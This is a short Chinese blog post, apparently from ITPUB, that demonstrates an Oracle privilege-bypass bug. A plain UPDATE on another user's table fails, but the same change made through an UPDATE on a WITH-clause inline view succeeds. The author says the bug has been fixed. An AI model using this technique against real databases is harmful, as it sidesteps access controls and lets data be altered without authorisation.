今天听人说oracle中有个bug 就是没有update权限也能够修改表的数据,听他这么说我一开始是不信的,不信归不信不如我们动手来实践一下
在 hr用户下有权限访问scott下test表 但是没有update权限
SQL> select * from scott.ceshi;
EMPNO ENAME HIREDATE SAL DEPTNO
---------- ---------- ------------ ---------- ----------
7333 wang
7369 SMITH 18-DEC-80 810 20
7499 ALLEN 21-FEB-81 1610 30
7521 WARD 23-FEB-81 1260 30
7566 JONES 03-APR-81 2985 20
7654 MARTIN 29-SEP-81 1260 30
7698 BLAKE 02-MAY-81 2860 30
7782 CLARK 10-JUN-81 2460 10
7788 SCOTT 20-APR-87 3010 20
SQL> update scott.ceshi set ename='dasdkajsdka' where empno=7333
2 ;
update scott.ceshi set ename='dasdkajsdka' where empno=7333
*
ERROR at line 1:
ORA-01031: insufficient privileges
更改发现没有权限到这里很正常
但是朋友教我一个办法
SQL> update
2 (with t as(
3 select * from scott.ceshi
4 )select * from t)e
5 set ename='sada' where empno=7333;
1 row updated.
!!!!!神奇的事情发生了 竟让更改了表的数据,这个漏洞在去年被发现的不然对数据安全影响十分巨大,目前已修复bug
来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/30163683/viewspace-1843171/,如需转载,请注明出处,否则将追究法律责任。